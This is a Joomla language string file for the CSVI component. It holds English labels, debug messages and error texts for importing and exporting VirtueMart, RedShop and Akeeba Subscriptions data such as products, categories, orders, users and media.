COM_CSVI_EXPORT_PRODUCT_PRICE_QUANTITY_END_LABEL="Price quantity end" COM_CSVI_EXPORT_PRODUCT_PRICE_QUANTITY_END_DESC="Set the price quantity end levels to filter for selected prices." ; models/fields/csvijoomfishlanguage.php COM_CSVI_NO_LANGUAGES_FOUND="No JoomFish languages found" ; models/com_virtuemart/import/calcimport.php COM_CSVI_UPDATE_CALC="Custom field updated" COM_CSVI_ADD_CALC="Custom field added" COM_CSVI_CALC_CATEGORY_QUERY="Calculation rules category query" COM_CSVI_CALC_COUNTRY_QUERY="Calculation rules country query" COM_CSVI_CALC_SHOPPERGROUP_QUERY="Calculation rules shopper group query" COM_CSVI_CALC_STATE_QUERY="Calculation rules state query" COM_CSVI_CALC_NOT_ADDED="Error processing custom field: %s" COM_CSVI_CALC_QUERY="Custom field query" ; models/com_virtuemart/import/categoryimport.php COM_CSVI_NO_CATEGORY_PATH_SET="No category path set" COM_CSVI_COULD_NOT_FIND_A_CATEGORY_ID="Could not find a category ID" COM_CSVI_CATEGORY_NAME_NO_MATCH_CATEGORY_PATH="Category name does not match category path. Make sure that the category_name field matches the last category in category_path field." COM_CSVI_UPDATE_CATEGORY_DETAILS="Category details updated" COM_CSVI_ADD_CATEGORY_DETAILS="Category details added" COM_CSVI_CATEGORY_DETAILS_NOT_ADDED="Error processing category details: %s" COM_CSVI_UPDATE_CATEGORY_LANG="Category language updated" COM_CSVI_ADD_CATEGORY_LANG="Category language added" COM_CSVI_CATEGORY_LANG_NOT_ADDED="Category language not added %s" COM_CSVI_CATEGORY_DETAILS_QUERY="Category details query" COM_CSVI_CATEGORY_DELETED="Category has been deleted" COM_CSVI_DEBUG_DELETE_CATEGORY_LANG_XREF="Delete category language reference" COM_CSVI_DEBUG_DELETE_CATEGORY_XREF="Delete category cross reference" COM_CSVI_DEBUG_DELETE_MEDIA_XREF="Delete media reference" COM_CSVI_DEBUG_DELETE_PRODUCT_CATEGORY_XREF="Delete category product reference" COM_CSVI_CATEGORY_NOT_DELETED="Category has not been deleted" ; models/com_virtuemart/import/couponimport.php COM_CSVI_UPDATE_COUPON="Coupon updated" COM_CSVI_ADD_COUPON="Coupon added" COM_CSVI_COUPON_NOT_ADDED="Error processing coupon: %s" COM_CSVI_COUPON_QUERY="Coupon query" ; models/com_virtuemart/import/customfieldimport.php COM_CSVI_NO_PLUGIN_FOUND="No plugin found by the name %s" COM_CSVI_UPDATE_CUSTOMFIELD="Custom field updated" COM_CSVI_ADD_CUSTOMFIELD="Custom field added" COM_CSVI_CUSTOMFIELD_NOT_ADDED="Error processing custom field: %s" COM_CSVI_CUSTOMFIELD_QUERY="Custom field query" COM_CSVI_FIND_USER_ID="Finding user ID" ; models/com_virtuemart/import/manufacturercategoryimport.php COM_CSVI_NO_MANUFACTURERCATEGORY_PATH_SET="No manufacturer category path has been set" COM_CSVI_DELETE_MANUFACTURER_CATEGORY="Deleting the manufacturer category" COM_CSVI_MANUFACTURER_CAT_DELETED="Manufacturer category deleted" COM_CSVI_MANUFACTURER_CAT_NOT_DELETED="Error deleting manufacturer category: %s" COM_CSVI_IGNORE_NON_EXIST_DATA="Data does not exist: %s" COM_CSVI_UPDATE_MANUFACTURER_CATEGORY="Manufacturer category updated" COM_CSVI_ADD_MANUFACTURER_CATEGORY="Manufacturer category added" COM_CSVI_MANUFACTURER_CATEGORY_NOT_ADDED="Error processing manufacturer category: %s" COM_CSVI_UPDATE_MANUFACTURERCATEGORY_LANG="Manufacturer category language updated" COM_CSVI_ADD_MANUFACTURERCATEGORY_LANG="Manufacturer category language added" COM_CSVI_MANUFACTURERCATEGORY_LANG_NOT_ADDED="Error processing manufacturer category language: %s" COM_CSVI_MANUFACTURER_CATEGORY_QUERY="Manufacturer category query" ; models/com_virtuemart/import/manufacturerimport.php COM_CSVI_UPDATE_MANUFACTURER="Manufacturer updated" COM_CSVI_ADD_MANUFACTURER="Manufacturer added" COM_CSVI_MANUFACTURER_NOT_ADDED="Error processing manufacturer: %s" COM_CSVI_MANUFACTURER_QUERY="Manufacturer query" COM_CSVI_UPDATE_PRODUCT_LANG="Product language updated" COM_CSVI_ADD_PRODUCT_LANG="Product language added" COM_CSVI_PRODUCT_LANG_NOT_ADDED="Error processing product language: %s" COM_CSVI_MANUFACTURER_LANG_QUERY="Manufacturer language query" COM_CSVI_MANUFACTURER_XREF_DELETED="Manufacturer cross reference deleted" COM_CSVI_MANUFACTURER_XREF_NOT_DELETED="Error deleting manufacturer cross reference: %s" COM_CSVI_DEBUG_DELETE_MANUFACTURER_LANG_XREF="Delete manufacturer language" COM_CSVI_DELETE_MANUFACTURER="Manufacturer deleted" COM_CSVI_MANUFACTURER_NOT_DELETED="Error deleting manufacturer: %s" COM_CSVI_MANUFACTURER_NOT_DELETED_NO_ID="Manufacturer not deleted, no ID has been found" ; tables/com_virtuemart/manufacturers_lang.php COM_CSVI_CHECK_MANUFACTURER_SLUG="Check manufacturer slug" ; models/com_virtuemart/import/mediaimport.php COM_CSVI_UPDATE_MEDIAFILE="Media file updated" COM_CSVI_ADD_MEDIAFILE="Media file added" COM_CSVI_MEDIAFILE_NOT_ADDED="Error processing media file: %s" COM_CSVI_MEDIAFILE_QUERY="Media file query" COM_CSVI_DEBUG_DELETE_PRODUCT_XREF="Deleted product reference" COM_CSVI_MEDIA_DELETED="Media %s deleted" COM_CSVI_MEDIA_NOT_DELETED="Media %s has not been deleted" COM_CSVI_CREATED_FILE_URL="Constructed file URL: %s" ; models/com_virtuemart/import/orderimport.php COM_CSVI_DEBUG_RETRIEVE_USER_ID="Retrieve user ID" COM_CSVI_DEBUG_LOAD_USER_DETAILS="Load user details" COM_CSVI_NOT_PROCESS_USER="Cannot process user, no user ID found" COM_CSVI_DEBUG_LOAD_ORDER_ID="Load order by ID" COM_CSVI_DEBUG_CREATE_ORDER_NUMBER="Create order number" COM_CSVI_DEBUG_NOT_CREATE_ORDER_NUMBER="Not creating order number, order number is supplied" COM_CSVI_DEBUG_CREATE_ORDER_PASS="Create an order pass" COM_CSVI_ORDER_QUERY="Order query" COM_CSVI_UPDATE_ORDER="Order updated" COM_CSVI_ADD_ORDER="Order added" COM_CSVI_ORDER_NOT_ADDED="Error processing order: %s" COM_CSVI_DEBUG_LOAD_ORDER_INFO_ID="Load the order info ID" COM_CSVI_DEBUG_LOAD_ORDER_INFO="Load the order info" COM_CSVI_DEBUG_LOAD_USER_ORDER_INFO="Load the user info" COM_CSVI_UPDATE_ORDERUSER="Order user updated" COM_CSVI_ADD_ORDERUSER="Order user added" COM_CSVI_ORDERUSER_NOT_ADDED="Error processing order user: %s" COM_CSVI_ORDERUSER_QUERY="Order user query" COM_CSVI_CREATE_BILLING_QUERY="Create billing address query" COM_CSVI_UPDATE_ORDER_HISTORY="Order history updated" COM_CSVI_ADD_ORDER_HISTORY="Order history added" COM_CSVI_ORDER_PAYMNET_NOT_ADDED="Error processing order payment: %s" COM_CSVI_ORDER_HISTORY_QUERY="Order history query" ; models/com_virtuemart/import/orderitemimport.php COM_CSVI_NO_ORDER_ID_FOUND="No order ID found" COM_CSVI_NO_PRODUCT_ID_FOUND="No product ID found" COM_CSVI_NO_PRODUCT_ID_OR_SKU="No product ID or product SKU found" COM_CSVI_UPDATE_ORDER_ITEM="Order item updated" COM_CSVI_ADD_ORDER_ITEM="Order item added" COM_CSVI_ORDER_ITEM_NOT_ADDED="Error processing order item: %s" COM_CSVI_ORDER_ITEM_QUERY="Order item query" ; models/com_virtuemart/import/productimport.php COM_CSVI_LANG_TABLE_NOT_EXIST="Language tables for the %s language do not exist. Check your database for inconsistencies. Did you configure VirtueMart correctly?" COM_CSVI_DATA_EXISTS_PRODUCT_SKU="Data exists :: Product SKU: %s" COM_CSVI_DEBUG_NO_SKU="No product SKU found" COM_CSVI_DEBUG_NO_SKU_OR_ID="No product SKU or ID found" COM_CSVI_DEBUG_PROCESS_SKU="Processing SKU: %s" COM_CSVI_NO_PRODUCT_ID_NO_DELETE="No product ID found for %s, cannot delete product" COM_CSVI_DATA_EXISTS_IGNORE_NEW="Product %s not updated because ignore non-existing items enabled" COM_CSVI_DEBUG_CHILD_PRODUCT_NO_HANDLING="Child product, not doing any category handling" COM_CSVI_DEBUG_PRODUCT_PARENT_SKU="Finding product parent SKU for child product" COM_CSVI_UPDATE_PRODUCT_SKU="Product updated" COM_CSVI_ADD_PRODUCT_SKU="Product added" COM_CSVI_PRODUCT_NOT_ADDED="Error processing product: %s" COM_CSVI_PRODUCT_QUERY="Product query" COM_CSVI_PRODUCT_LANG_QUERY="Product language query" COM_CSVI_PROCESS_RELATED_PRODUCTS="Process related products" COM_CSVI_DEBUG_RELATED_PRODUCTS="Could not store related products" COM_CSVI_NO_RELATED_PRODUCTS_FOUND="No related products found" COM_CSVI_DEBUG_MANUFACTURER_IMPORT="Manufacturer import" COM_CSVI_DEBUG_PROCESS_MANUFACTURER_PRODUCT="Process manufacturer cross reference" COM_CSVI_DEBUG_CHILD_NO_PRICE="Child product and empty price, not adding so it will take the price of the parent product" COM_CSVI_DEBUG_FOUND_DEFAULT_SHOPPER_GROUP="Found default shopper group ID: %s" COM_CSVI_PRICE_QUERY_NO_SHOPPER_GROUP="No shopper group found" COM_CSVI_DEBUG_PRICE_QUERY_NO_SHOPPER_GROUP="Could not find a shopper group ID" COM_CSVI_DEBUG_PRICE_QUERY="Storing price" COM_CSVI_DEBUG_PROCESSING_DISCOUNT="Processing discount" COM_CSVI_DEBUG_ADD_DISCOUNT="Add discount" COM_CSVI_DEBUG_NO_DISCOUNT="No discount has been found" COM_CSVI_DEBUG_GET_MANUFACTURER_ID_SKU="Rertrieve manufacturer ID based on product SKU" COM_CSVI_DEBUG_GET_MANUFACTURER_ID_ID="Retrieve manufacturer ID based on product ID" COM_CSVI_DEBUG_GET_DEFAULT_MANUFACTURER_ID="Get default manufacturer ID" COM_CSVI_GENERATE_IMAGE_NAME="Auto generate image name" COM_CSVI_CREATE_PRODUCT_SKU_NAME="Product SKU name" COM_CSVI_CANNOT_FIND_PRODUCT_SKU="Cannot find a product SKU" COM_CSVI_CREATE_PRODUCT_NAME_NAME="Product name name" COM_CSVI_CANNOT_FIND_PRODUCT_NAME="Cannot find a product name" COM_CSVI_CREATE_PRODUCT_ID_NAME="Product ID name" COM_CSVI_CANNOT_FIND_PRODUCT_ID="Cannot find a product ID" COM_CSVI_CREATE_RANDOM_NAME="Random name" COM_CSVI_CREATED_IMAGE_NAME="Generated image name: %s" COM_CSVI_DEBUG_DELETE_PRODUCT_LANG_XREF="Delete product language" COM_CSVI_DEBUG_DELETE_MANUFACTURER_XREF="Delete manufacturer cross reference" COM_CSVI_DEBUG_DELETE_PRODUCT_PARENT="Reset product parent IDs" COM_CSVI_DEBUG_DELETE_PRICES_XREF="Delete prices cross reference" COM_CSVI_DEBUG_DELETE_SHOPPERGROUP_XREF="Delete shoppergroup cross reference" COM_CSVI_DEBUG_DELETE_CUSTOMFIELDS_XREF="Delete custom fields cross reference" COM_CSVI_DEBUG_DELETE_RATINGS_XREF="Delete ratings cross reference" COM_CSVI_DEBUG_DELETE_RATING_REVIEWS_XREF="Delete rating reviews cross reference" COM_CSVI_DEBUG_DELETE_RATING_VOTES_XREF="Delete rating votes cross reference" COM_CSVI_AUTO_TAX_RATE="CSVI created tax rule" COM_CSVI_AUTO_TAX_RATE_DESC="CSVI created this tax rule on product import because no matching tax rate was found" COM_CSVI_ADD_TAX_RATE="Add tax rate" COM_CSVI_DEBUG_PROCESSING_TAX="Process product tax" COM_CSVI_REMOVE_EXISTING_CUSTOM_VALUES="Remove existing custom values" COM_CSVI_DEBUG_CUSTOMFIELD_QUERY="Custom field query" COM_CSVI_VM_NOSUPPORT_URL="VirtueMart does not support external images" COM_CSVI_RESET_THUMB_NOHTTP="Thumbnail url (%s) has been removed since VirtueMart does not support external images" COM_CSVI_NO_CUSTOM_ID_FOUND="No custom field ID found" ; models/com_virtuemart/import/ratingimport.php COM_CSVI_UPDATE_PRODUCT_REVIEW="Product review updated" COM_CSVI_ADD_PRODUCT_REVIEW="Product review added" COM_CSVI_PRODUCT_REVIEW_NOT_ADDED="Error processing product review: %s" COM_CSVI_PRODUCT_REVIEW_QUERY="Product review query" COM_CSVI_PRODUCT_REVIEW_NO_PRODUCT_ID="No product ID found, make sure the product exists in your system" ; models/com_virtuemart/import/shopperfieldimport.php COM_CSVI_UPDATE_SHOPPERFIELD="Shopper field updated" COM_CSVI_ADD_SHOPPERFIELD="Shopper field added" COM_CSVI_USERINFO_TABLE_QUERY="Alter the userinfos table" COM_CSVI_SHOPPERFIELD_NOT_ADDED="Error processing shopper field: %s" COM_CSVI_SHOPPERFIELD_QUERY="Shopper field query" COM_CSVI_GET_FIELD_ID="Load the field ID for a fieldname" COM_CSVI_DEBUG_DELETE_USERINFOS_FIELD="Delete userinfos field: %s" ; models/com_virtuemart/import/userinfoimport.php COM_CSVI_MISSING_REQUIRED_FIELDS="The fields user_id or user_email or address_type or address_type_name is missing" COM_CSVI_DEBUG_FIND_USER_ID_FROM_VM="Find the user ID from VirtueMart" COM_CSVI_DEBUG_FIND_USER_ID_FROM_JOOMLA="Find the user ID from Joomla" COM_CSVI_DEBUG_FIND_USER_INFO_ID="Find user info ID" COM_CSVI_NO_NEW_USER_PASSWORD_EMAIL="New users must have an e-mail address and a password field on import" COM_CSVI_NO_USERGROUP_FOUND="No user group ID found for %s" COM_CSVI_DEBUG_JOOMLA_USER_STORED="Joomla user stored" COM_CSVI_DEBUG_JOOMLA_USER_MAP_STORED="Joomla user map stored" COM_CSVI_DEBUG_JOOMLA_USER_MAP_NOT_STORED="Joomla user ARO not stored" COM_CSVI_DEBUG_JOOMLA_USER_NOT_STORED="Joomla user not stored" COM_CSVI_DEBUG_JOOMLA_USER_SKIPPED="Joomla user skipped, no e-mail provided" COM_CSVI_NO_USERINFO_ID_CREATED="Cannot create a userinfo ID" COM_CSVI_UPDATE_USERINFO="User info updated" COM_CSVI_ADD_USERINFO="User info added" COM_CSVI_USERINFO_NOT_ADDED="Error processing user info: %s" COM_CSVI_USERINFO_QUERY="User info query" COM_CSVI_UPDATE_SHOPPER_GROUP="Shopper group updated" COM_CSVI_ADD_SHOPPER_GROUP="Shopper group added" COM_CSVI_SHOPPER_GROUP_NOT_ADDED="Error processing shopper group: %s" COM_CSVI_SHOPPER_GROUP_QUERY="Shopper group query" COM_CSVI_UPDATE_VMUSERS="Update VM Users" COM_CSVI_ADD_VMUSERS="Add VM Users" COM_CSVI_VMUSERS_NOT_ADDED="Error processing VM Users: %s" COM_CSVI_VMUSERS_QUERY="VM Users query" ; models/com_virtuemart/import/waitinglistimport.php COM_CSVI_WAITINGLIST_NO_USER_FOUND="No user can be found" COM_CSVI_WAITINGLIST_NO_PRODUCT_FOUND="No product can be found" COM_CSVI_UPDATE_WAITINGLIST="Waiting list updated" COM_CSVI_ADD_WAITINGLIST="Waiting list added" COM_CSVI_WAITINGLIST_NOT_ADDED="Error processing waiting list: %s" COM_CSVI_WAITINGLIST_QUERY="Waiting list query" COM_CSVI_WAITINGLIST_NO_USER_PRODUCT_ID="No product ID or user ID or notify email found. Check if there is a product_sku and username and notify_email is included in the import file." ; models/com_virtuemart/export/calcexport.php COM_CSVI_EXPORT_QUERY="Export query" COM_CSVI_ERROR_RETRIEVING_DATA="An error occurred retrieving data from database. Error %s" COM_CSVI_NO_DATA_FOUND="No data has been found for the selection criteria" ; models/com_redshop/import/productimport.php COM_CSVI_DEBUG_DELETE_PRODUCT_TYPE_XREF="Delete product type cross reference" COM_CSVI_DEBUG_PRODUCT_TYPE_ID_NOT_FOUND="No product type ID found. Does the product type name exist?" COM_CSVI_PRODUCT_TYPE_ID_NOT_FOUND="Product type name not found: %s" COM_CSVI_PROCESS_TAX="Processing tax" COM_CSVI_DEBUG_ADDING_ATTRIBUTES="Adding attributes" COM_CSVI_DEBUG_STORE_ATTRIBUTE="Store attribute" COM_CSVI_DEBUG_ATTRIBUTE_INCORRECT="Attribute is incorrect: %s" COM_CSVI_DEBUG_ADD_ATTRIBUTE_VALUES="Adding attribute values" COM_CSVI_DEBUG_NO_VALID_ATTRIBUTE="Attribute value is incorrect: %s" ; models/com_redshop/export/productexport.php COM_CSVI_NO_DOMAINNAME_SET="No domain name has been set in the Settings, cannot create a SEF URL" COM_CSVI_LOAD_PRODUCT_TYPES="Load the product types" COM_CSVI_LOAD_PRODUCT_TYPE_NAME_DATA="Load the product type names data" ; models/com_csvi/import/customimport.php COM_CSVI_UPDATE_CUSTOM_FIELD="Custom field updates" COM_CSVI_ADD_CUSTOM_FIELD="Custom field added" COM_CSVI_CUSTOM_FIELD_NOT_ADDED="Error processing custom field: %s" COM_CSVI_CUSTOM_FIELD_QUERY="Custom field query" ; helpers/com_virtuemart.php COM_CSVI_FIND_PRODUCT_SKU="Find product ID based on product SKU" COM_CSVI_FIND_PRODUCT_MPN="Find product ID based on custom SKU" COM_CSVI_FIND_PRODUCT_CHILD_PARENT_SKU="Find parent product ID" COM_CSVI_FIND_PRODUCT_CHILD_SKU="Find child product ID" COM_CSVI_FIND_PRODUCT_SKU_BASED_CHILD="Finding product ID based on child product only because there is no parent" COM_CSVI_NO_CHILD_NO_PARENT="No parent and/or child SKU found" COM_CSVI_CHECK_VENDOR_EXISTS="Check to see if the vendor ID exists" COM_CSVI_DEBUG_SHOPPER_GROUP_NAME="Get the shopper group name" COM_CSVI_DEBUG_GET_DEFAULT_SHOPPER_GROUP="Get the default shopper group name" COM_CSVI_DEBUG_GET_CURRENCY_ID="Get the currency ID" COM_CSVI_DEBUG_GET_COUNTRY_ID="Get the country ID" COM_CSVI_DEBUG_GET_STATE_ID="Get the state ID" COM_CSVI_CANNOT_GET_CATEGORY_ID="Cannot get category ID" ; helpers/cron.php COM_CSVI_PROCESSING_STARTED="Processing started: %s" COM_CSVI_TEMPLATE="Template name: %s" COM_CSVI_NO_TEMPLATE_FOUND="No template found with the name or ID: %s" COM_CSVI_NO_TEMPLATE_SPECIFIED="No template has been specified" COM_CSVI_PROCESSING_FINISHED="Processing finished: %s" COM_CSVI_PROCESSING_SECONDS="Process ran for %d seconds" COM_CSVI_PROCESSING_MINUTES="Process ran for %d minutes" COM_CSVI_NO_ARGUMENTS="No options have been specified" COM_CSVI_PROBLEM_LOGOUT_USER="An error occured logging out user" COM_CSVI_USER_LOGGED_OUT="User has been logged out" ; helpers/csvi.php COM_CSVI_HELP="Help" COM_CSVI_SETTINGS="Settings" ; helpers/file.php COM_CSVI_CANNOT_UNPACK_UPLOADED_FILE="Cannot unpack uploaded file" COM_CSVI_THE_UPLOADED_FILE_EXCEEDS_THE_MAXIMUM_UPLOADED_FILE_SIZE="The uploaded file exceeds the maximum uploaded file size" COM_CSVI_THE_UPLOADED_FILE_WAS_ONLY_PARTIALLY_UPLOADED="The uploaded file was only partially uploaded" COM_CSVI_NO_FILE_WAS_UPLOADED="No file was uploaded" COM_CSVI_MISSING_A_TEMPORARY_FOLDER="Missing a temporary folder" COM_CSVI_FAILED_TO_WRITE_FILE_TO_DISK="Failed to write file to disk" COM_CSVI_FILE_UPLOAD_STOPPED_BY_EXTENSION="File upload stopped by extension" COM_CSVI_THERE_WAS_A_PROBLEM_UPLOADING_THE_FILE="There was a problem uploading the file" COM_CSVI_LOCAL_FILE_DOESNT_EXIST="Cannot find the file %s for import" COM_CSVI_RETRIEVE_FROM_URL="Retrieved from URL: %s" COM_CSVI_CANNOT_READ_FROM_URL="Cannot read file from URL" COM_CSVI_CANNOT_CREATE_TEMP_FILE="Cannot create temporary file: %s" COM_CSVI_CANNOT_CREATE_TEMP_FOLDER="Cannot create temporary folder: %s" COM_CSVI_NO_FILENAME_GIVEN="No filename has been given" COM_CSVI_RETRIEVE_FROM_FTP="Retrieved from FTP: %s" COM_CSVI_CANNOT_READ_FROM_FTP="Cannot read file from FTP" COM_CSVI_NO_FILE_PROVIDED="No filename has been given" COM_CSVI_EXTENSION_NOT_ACCEPTED="Extension is unknown. Only .csv, .txt, .xls, .ods, .xml are supported but .%s was found. Continuing assuming it is a CSV file." COM_CSVI_IMPORT_FILETYPE="Importing filetype: %s" ; helpers/icecat.php COM_CSVI_FIND_ICECAT_ID="Looking for ICEcat ID" COM_CSVI_ICECAT_ERROR_XML="Error encountered retrieving XML file: %s" COM_CSVI_ICECAT_FOUND_FEATURE="Found product type: %s" COM_CSVI_CALL_ICECAT_URL="Calling ICEcat URL: %s" ; helpers/images.php COM_CSVI_SAVING_NEW_IMAGE="Saving new image" COM_CSVI_CANNOT_READ_ORIGINAL_IMAGE="Cannot read full image file" COM_CSVI_NO_FILE_EXTENSION="No file extension found" COM_CSVI_DEBUG_FILE_NOT_FOUND="File not found: %s" COM_CSVI_DEBUG_PROCESS_IMAGE="Process full image" COM_CSVI_DEBUG_FILE_IS_NOT_IMAGE="File is not an image file" COM_CSVI_DEBUG_PROCESS_NON_IMAGE="Process a non-image file" COM_CSVI_CREATE_THUMB_FOLDER="Creating thumbnail folder: %s" COM_CSVI_CHECK_ORIGINAL="Check original file %s for thumbnail creation" COM_CSVI_DEBUG_CREATING_A_THUMBNAIL="Creating a thumbnail from %s to %s" COM_CSVI_DEBUG_THUMB_CREATED="Thumbnail has been created" COM_CSVI_THUMBNAIL_NOT_CREATED="Thumbnail has not been created" COM_CSVI_FILE_DOES_NOT_EXIST_NOTHING_TO_DO="File %s does not exist. Nothing to do." COM_CSVI_THUMBNAIL_SIZE_TOO_SMALL="Thumbnail size in the settings is too small" COM_CSVI_REMOTE_FILE_NOT_FOUND="Remote file not found: %s" COM_CSVI_DEBUG_CONVERT_IMAGE="Converting image %s --> %s" COM_CSVI_IMAGE_CONVERTED="Image %s converted" COM_CSVI_IMAGE_NOT_CONVERTED="Image has not been converted" COM_CSVI_RENAME_FULL_FILE="Rename full image file: %s --> %s" COM_CSVI_RENAME_FULL_FILE_NOT_FOUND="Full image file to rename has not been found: %s" COM_CSVI_DEBUG_CONVERT_TYPE_CHECK="Converting image for type check: %s --> %s" COM_CSVI_CANNOT_FIND_REMOTE_MIMETYPE="COM_CSVI_CANNOT_FIND_REMOTE_MIMETYPE" COM_CSVI_DEBUG_RESIZE_IMAGE="Resizing large image %s from %s to %s" COM_CSVI_FULL_IMAGE_RESIZED="Full image has been resized" ; helpers/log.php COM_CSVI_CLEAN_OLD_LOGS="Clean up old logs. Found %s logs and threshold is %s logs" COM_CSVI_SUCCESS="Success" COM_CSVI_NOTICE="Notice" ; helpers/panel.php COM_CSVI_SHOW_PANEL="Show panel" COM_CSVI_HIDE_PANEL="Hide panel" ; helpers/file/import/csv.php COM_CSVI_UNEQUAL_FIELD_DELIMITER="The field delimiter doesn't match. Supplied delimiter %s and found delimiter %s" COM_CSVI_UNEQUAL_TEXT_ENCLOSURE="The text enclosure doesn't match. Supplied enclosure %s and found enclosure %s" COM_CSVI_FOUND_TEXT_ENCLOSURE="Found text enclosure %s" COM_CSVI_CANNOT_FIND_TEXT_DELIMITER="Cannot find text delimiter" COM_CSVI_FOUND_FIELD_DELIMITER="Found field delimiter: %s" ; helpers/file/import/ods.php COM_CSVI_CANNOT_UNPACK_ODS_FILE="Cannot unpack ODS file" ; helpers/file/import/xml.php COM_CSVI_ERROR_XML_READING_FILE="Error reading XML file" COM_CSVI_XML_INVALID_TABLE="XML File/Table map is invalid" COM_CSVI_XML_FILE_INVALID="XML File is invalid format" COM_CSVI_XML_NODE_NOT_MATCH_FIELD="XML node does not match any field defined in the template: %s" COM_CSVI_XML_UNMAPPED_NODE="Unmapped node: %s" COM_CSVI_XML_UNDEFINED_NODE="Node is not defined in the XML Map: %s" COM_CSVI_XML_UNEXPECTED_END_NODE="Unexpected end of node: %s" COM_CSVI_XML_INVALID="XML File is invalid format" COM_CSVI_XML_NODE_UNCLOSED="The XML Map includes a node that is not closed: %s" COM_CSVI_XML_FILE_MAP_NO_REFERENCE="The XML file map references a field not defined in the template: %s" COM_CSVI_XML_NODE_NOT_CLOSED="Node: %s from the XML Map was not closed" COM_CSVI_XML_NO_RECORDS_DEFINED="No XML records were defined for this template" ; controllers/exportfile.php COM_CSVI_ERROR_EXPORT_PREP="There is a problem preparing for export" ; controllers/importfile.php COM_CSVI_ERROR_IMPORT_FILE="There is a problem with the import file" ; controllers/logdetails.php COM_CSVI_NO_RUNID_FOUND="No Run ID has been found" ; controllers/process.json.php COM_CSVI_CHOOSE_WEBSITE="Choose a website..." COM_CSVI_SELECT_TABLE_FOR_EXPORT="Select a table..." COM_CSVI_ALL_TAX_STATES="All states" ; controllers/process.php COM_CSVI_IMPORT_CANCELLED="Import has been cancelled" ; models/process.php COM_CSVI_NOT_USED="-- not used --" ; controllers/settings.php COM_CSVI_SETTINGS_RESET_SUCCESSFULLY="Settings reset successfully" COM_CSVI_SETTINGS_NOT_RESET_SUCCESSFULLY="Settings not reset" ; views/replacement/view.html.php COM_CSVI_PAGE_VIEW_REPLACEMENT="View replacement" COM_CSVI_PAGE_ADD_REPLACEMENT="Add replacement" COM_CSVI_PAGE_EDIT_REPLACEMENT="Edit replacement" COM_CSVI_N_ITEMS_DELETED="%s items deleted" ; views/replacements/view.html.php COM_CSVI_REPLACEMENTS="Replacements" ; forms/replacement.xml COM_CSVI_REPLACEMENT_NAME_LABEL="Name" COM_CSVI_REPLACEMENT_NAME_DESC="Give the replacement name" COM_CSVI_REPLACEMENT_FIND_LABEL="Find" COM_CSVI_REPLACEMENT_FIND_DESC="Give what value to look for" COM_CSVI_REPLACEMENT_REPLACE_LABEL="Replace" COM_CSVI_REPLACEMENT_REPLACE_DESC="Give what value to replace with" COM_CSVI_REPLACEMENT_METHOD_LABEL="Method" COM_CSVI_REPLACEMENT_METHOD_DESC="Give what method to use" ; tables/products_lang.php COM_CSVI_CHECK_PRODUCT_LANG="Check product language entry" COM_CSVI_ADD_PRODUCT_LANG="Add product language entry" COM_CSVI_CHECK_PRODUCT_SLUG="Check product slug" ; Process types COM_CSVI_SUBSCRIPTIONEXPORT="Subscription export" COM_CSVI_AFFILIATEEXPORT="Affiliate export" COM_CSVI_AFFILIATEEXPORT_DESC="Export affiliates from Akeeba Subscriptions" COM_CSVI_AFFILIATEIMPORT_DESC="Import affiliates into Akeeba Subscriptions" COM_CSVI_CALCEXPORT_DESC="Export taxes & calculation rules" COM_CSVI_CALCIMPORT_DESC="Import taxes & calculation rules" COM_CSVI_CATEGORYEXPORT_DESC="Export category details" COM_CSVI_CATEGORYIMPORT_DESC="Import category details" COM_CSVI_COUPONEXPORT_DESC="Export coupon details" COM_CSVI_COUPONIMPORT_DESC="Import coupon details" COM_CSVI_CUSTOMFIELDIMPORT_DESC="Import custom fields" COM_CSVI_CUSTOMFIELDEXPORT_DESC="Export custom fields" COM_CSVI_MEDIAEXPORT_DESC="Export media files" COM_CSVI_MEDIAIMPORT_DESC="Import media files" COM_CSVI_RATINGEXPORT_DESC="Export product ratings" COM_CSVI_RATINGIMPORT_DESC="Import product ratings" COM_CSVI_SHOPPERFIELDEXPORT_DESC="Export shopper fields" COM_CSVI_SHOPPERFIELDIMPORT_DESC="Import shopper fields" COM_CSVI_SUBSCRIPTIONEXPORT_DESC="Export subscription details" COM_CSVI_AFFILIATEIMPORT="Affiliate import" COM_CSVI_SUBSCRIPTIONIMPORT="Subscription import" COM_CSVI_SUBSCRIPTIONIMPORT_DESC="Import subscriptions into Akeeba Subscriptions" ; LANGUAGE STRINGS THAT WERE NOT USED OR JOOMLA OVERRIDES: COM_CSVI_COMPLETED_="resultsCOM_CSVI_COMPLETED_" COM_CSVI_NO_PHP5="You are running PHP version %s, CSVI requires at least PHP version 5.2." COM_CSVI_IMPORT_TAX_OPTIONS="Tax options" COM_CSVI_FLEXTAX_LABEL="Use FlexTax?" COM_CSVI_FLEXTAX_DESC="If you have installed FlexTax, enable this option to make use of the FlexTax fields. For details about FlexTax see http://www.virtuemartflextax.com/" COM_CSVI_IMPORT_CATEGORY_OPTIONS="Category options" COM_CSVI_IMPORT_PRODUCT_OPTIONS="Product options" COM_CSVI_IMPORT_MEDIAS_OPTIONS="Options" COM_CSVI_EXPORT_MULTIPLE_PRICES_OPTIONS="Multiple prices options" COM_CSVI_EXPORT_ORDER_OPTIONS="Order" COM_CSVI_EXPORT_PRODUCT_OPTIONS="Product" COM_CSVI_EXPORT_USER_INFO_OPTIONS_OPTIONS="Options" COM_CSVI_INSTALL_OK="CSVI Free installation completed successfully" COM_CSVI_MOVE_TMP_OK="Temporary folder moved successfully" COM_CSVI_NO_TEMPLATES_CONVERT="Templates could not be converted" COM_CSVI_MEDIAS_TABLE_HAS_BEEN_EMPTIED="Product files table has been emptied" COM_CSVI_MEDIAS_TABLE_HAS_NOT_BEEN_EMPTIED="Product files table has not been emptied" COM_CSVI_IMPORT_FILE_LOCATION_MEDIA_LABEL="File location media files" COM_CSVI_IMPORT_FILE_LOCATION_MEDIA_DESC="File location is used for media files. Media files are all files that are not images. Do not add a trailing slash." COM_CSVI_NO_THUMB_FULL_IMAGE_IN_FILE="No full image or thumbnail image found in file" COM_CSVI_NO_MANUFACTURER_ID_NAME="No manufacturer category ID or name specified" COM_CSVI_FIND_MANUFACTURER_CATEGORY_ID="There is no manufacturer category ID, going to find one" COM_CSVI_NO_SHOPPER_GROUP_FOUND="No shopper group found. A shopper group is required to add/update multiple prices." COM_CSVI_FIND_PRODUCT_PRICE_ID="Going to find a product_price_id" COM_CSVI_ALREADY_HAVE_PRICE_ID="Already have a product_price_id" COM_CSVI_PRICE_NOT_DELETED="Price could not be deleted" COM_CSVI_PRICE_DELETED="Price has been deleted" COM_CSVI_TRIED_DELETE_PRICE="Tried to delete the price" COM_CSVI_NO_PRODUCT_PRICE_FOUND="There is no product price found" 